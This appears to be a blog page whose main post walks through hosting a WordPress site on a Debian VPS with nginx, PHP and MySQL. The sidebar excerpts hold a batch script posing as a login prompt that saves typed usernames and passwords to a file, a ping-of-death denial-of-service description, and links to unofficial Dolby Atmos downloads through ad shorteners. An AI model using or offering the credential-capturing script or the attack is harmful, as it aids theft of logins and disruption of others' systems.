Skip to main content

How to host your website on linux

Today I am going to show you on “How to host your website on Linux VPS (WordPress).”

The reason why we are going to host your website onLinux VPS is because they have more stability and reliability for basic web hosting needs, more control compared to shared hosting, cost effective solutions for small website, assured 99.95% uptime (depends upon your VPS providers) and lot of features.

Buying a VPS from RamNode:

We need to choose a Linux VPS depending upon the traffic your website gonna receive. Here is the link where I brought my VPS from:

Income Traffic 0-750 views/day: Plan 1Income Traffic 750-2k views/day: Plan 2Income Traffic 2k-5k views/day: Plan 3Income Traffic 5k+ views/day: I request you to switch VPS provider since I don’t recommend RamNode VPS for more than 5k views/day, reason is they only provide 1GB connection speed.

After few minutes you will receive the VPS details.

After buying a VPS continue the steps given below. If you have any doubts do not hesitate to comment below or if you already got a VPS then just follow the steps.WordPress will be my Control Management System to access the website.

Related  How to DDos a Website Using VBScript

Buying a domain and configure it:

You can buy a domain from godaddy.com or any place where you like to

After getting it, in DNS management you have to change type to “A” and enter the domain name and the VPS IP

Example:

By changing DNS settings it will allow your domain to point to your VPS Server.

Setting up VPS:

Goto URL: https://vpscp.ramnode.com and installDebian 7 32-bit”. It will only take few minutes.

Download Putty and run it. Add your VPS IP and connect to your VPS though Putty. After that enter “username” and “password“.

Enter the following commands in the give order:

1. Update and update debian:

Code:

apt-get update apt-get upgrade

2. Install nginx, php5 and mysql:

Code:

apt-get install nginx php5-fpm mysql-server

 

3. Download WordPress CMS: (replace example.com with your website name)

Code:

cd /var/www/ mkdir example.com cd example.com wget http://www.wordpress.org/latest.tar.gz tar vxzf latest.tar.gz rm latest.tar.gz

 

4. Configuring mysql

Code:

mysql -u root -p (press enter and then it will ask you to enter the password for mysql which you used when you install mysql-server)

 

5. Creating database and granting access to it:

Code:

create database example; (replace example with any name you wish) grant select, delete, create, alter, update, drop, insert, index on example.* to ‘example’@’localhost’ identified by ‘Enteranypasswordwhichyouwanthere’; (Once done press enter and then ctrl + c to exit)

 

6. Changing WordPress config.php file:

Code:

cd /var/www/example.com/wordpress cp wp-config-smaple.php wp-config.php vim wp-config.php (after opening the file, change your database details and save it)

 

7. Setting up nginx file:

Code:

cd~ cd /etc/nginx/sites-available/ vi example.com.vhost (rename example.com with your domain name)

 

Now press “Insert” button and type the following command:

Code:

server { listen 80; root /var/www/example.com/wordpress; index index.php index.html index.htm; server_name example.com www.example.com; location / { try_files $uri $uri/ /index.php?q=$uri&$args; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/www; } location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params; } }

Note: Change server_name with your domain name and root /var/www/example.com/wordpress with your domain name or the folder name that you gonna use.

Once done save the file, press ESC + : + x (to save and exit)

8. Enabling the vhost file:

Code:

cd .. cd sites-enabled/ ln -s /etc/nginx/sites-available/example.com.vhost

 

Everything is done now. Just type “service nginx restart” and visit your domain now. It should be working fine.

Note: Make sure you change “example.com” to your domain name in each place that I have mentioned “example.com

If you want to upload any file to your server then use “FileZilla Client” as file manager by connecting to your server using IP , USERNAME, PASSWORD and PORT

Comments

Popular posts from this blog

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file will be in there, [if you make a second entry, the

Perform cmd death attack

 A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash.  We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes. If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes. Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack. How Ping of Death attack works? Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent from a source computer to a target machine, t

get dolby atmos free on your PC

Welcome to my blog today i am here with very important item for your DDOOLLBBYY Atmos Everyone  or (at least geeks) knows  about the power of Dolby atmos we used to know that dolby atmos was only available for select PC only well not anymore from this link you can get in any pc note:  after installing dolby atmos install dolby access from https://dw27.malavida.com/dwn/8bdf73315506600b39e53dedb7616c896cc3811b629894bbe0bc994820b8af75/DolbyAccess.appx    and son't update from window store ..    just don't update it links http://gestyy.com/w2mDPI for dolby atmos   http://gestyy.com/w2mDKi  for device  driver ' http://gestyy.com/w2mDCF   for dolby atmos for gaming http://gestyy.com/w2mDN7    for dolby gaming driver if you  have any question feel free to comment